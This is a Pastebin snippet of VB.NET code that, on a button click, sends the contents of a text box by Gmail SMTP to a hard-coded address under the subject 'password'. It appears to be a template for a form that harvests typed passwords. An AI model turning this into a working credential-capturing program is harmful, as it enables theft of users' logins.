Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Web
- Imports System.IO
- Imports System.Net.Mail
- *******************************************
- Public Class Form1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim mail As New MailMessage()
- Dim SmtpServer As New SmtpClient
- SmtpServer.Credentials = New Net.NetworkCredential("uremail@gmail.com", "password")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- SmtpServer.EnableSsl = True
- SmtpServer.EnableSsl = True
- mail.To.Add("uremail@anymailserver.com")
- mail.From = New MailAddress("nothere-mail@gmail.com")
- mail.Subject = "password"
- mail.Body = TextBox1.Text
- SmtpServer.Send(mail)
- End Sub
- ***********************************************
- Yahoo:
Add Comment
Please, Sign In to add comment